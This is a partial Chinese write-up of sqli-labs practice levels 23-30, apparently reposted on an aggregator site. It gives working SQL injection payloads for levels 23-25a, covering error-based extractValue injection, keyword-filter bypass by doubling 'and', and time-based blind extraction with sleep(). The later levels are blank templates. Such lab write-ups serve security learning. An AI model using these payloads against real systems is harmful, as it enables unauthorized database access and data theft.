当前位置: 首页 > news >正文

sqli 靶场 Level23-Level30 wp

level-23 (注释被过滤)

  1. 抓包,查看正常请求和响应。

  2. 尝试是否存在注入

    • id=1’,id=1’',成周期性变化

    image-20231101115227628

  3. 尝试 POC

  • POC: id=1'+and+extractValue(1,concat(0x7e,user()))--+'

结果:failed。怀疑–被过滤掉了,尝试前后闭合方案

  • POC: id=1'+and+extractValue(1,concat(0x7e,user()))+and+'


​ 结果:ok。

level-24(二次注入)

  1. 抓包,查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

level-25 (and、or被过滤)

  1. 抓包,查看正常请求和响应

  2. 尝试是否存在注入

    ''存在

  3. 尝试POC

  • POC:id=-1'+or+extractValue(1,concat(0x73,user()))--+

发现and,or关键字被屏蔽了,还是不区分大小写的屏蔽


  • 使用union

结果:成功注入

  • 使用aandnd/anandd --> and

POC: id=-1'+aandnd+extractValue(1,concat(0x73,user()))--+

level-25a(and、or被过滤盲注)

  1. 抓包,查看正常请求和响应

  2. 尝试是否存在注入

​ 存在

  • POC:id=1' and if(1,sleep(3),sleep(0))--+

    ==>不休眠

  • POC:id=1" and if(1,sleep(3),sleep(0))--+

​ ==>休眠

  • POC:id=1 and if(1,sleep(3),sleep(0))--+
  1. 尝试POC

    • step1: 猜字符串长度:POC: id=1+aandnd+if(length(user())=§1§,sleep(3),0)--+

​ ==》14

  • step2:猜每个字符: POC: id=1+aandnd+if(substr(user(),§1§,1)='§a§',sleep(3),0)--+

​ ==》root@localhost

level-26 (空格、注释被过滤)

  1. 抓包,查看正常请求和响应

  1. 尝试是否存在注入
  • 使用单双引号,发现输出周期性变化,存在注入
  1. 尝试POC
  • POC: '+union+select+1,user(),3--+

==> 空格被过滤了

  • 尝试

level-26a ()

  1. 抓包,查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

level-27 ()

  1. 抓包,查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

level-27a ()

  1. 抓包,查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

level-28 ()

  1. 抓包,查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

level-28a ()

  1. 抓包,查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

level-29 ()

  1. 抓包,查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

level-30 ()

  1. 抓包,查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

http://www.lryc.cn/news/214078.html

相关文章:

  • 《完蛋!我被美女包围了》突然火了!世界首个开源贡献榜出炉丨 RTE 开发者日报 Vol.75
  • C++ Qt 学习(一):Qt 入门
  • 高性能消息中间件 - Kafka3.x(三)
  • 【八】Linux成神之路
  • 功能测试用例,需要详细到什么程度?
  • VScode远程连接错误:进程试图写入不存在的管道
  • Python测试之Pytest详解
  • uni-app微信小程序打开第三方地图
  • Android NDK开发详解之NDK 使用入门
  • nmap指纹识别要点以及又快又准之方法
  • Rust编程基础之6大数据类型
  • 06 MIT线性代数-线性无关,基和维数Independence, basis, and dimension
  • Kubernetes 概述以及Kubernetes 集群架构与组件
  • GZ035 5G组网与运维赛题第9套
  • 使用Jasypt3.0.3版本对SpringBoot配置文件加密
  • 生成一篇博客,详细讲解springboot的单点登录功能,有流程图,有源码demo
  • Hadoop、Hive安装
  • PHP自定义函数--输入起始日期和解算日期返回日期差几天和 上一个周期的起始结束日期
  • .net 7 上传文件踩坑
  • C++基础算法④——排序算法(快速、归并附完整代码)
  • 高防CDN如何在防护cc上大显神通
  • 解决CSS中height:100%失效的问题
  • 小红书穿搭类种草营销怎么做?纯干货
  • 什么是ARFF文件,以.arff结尾
  • 华为OD机考算法题:计算疫情扩散时间
  • 29岁从事功能测试5年被辞,面试4个月还没到工作......
  • 再记【fatal error C1001: 内部编译器错误】的一个原因
  • 数据分析、大数据分析和人工智能之间的区别
  • Spring系列之基础
  • Android开发知识学习——TCP / IP 协议族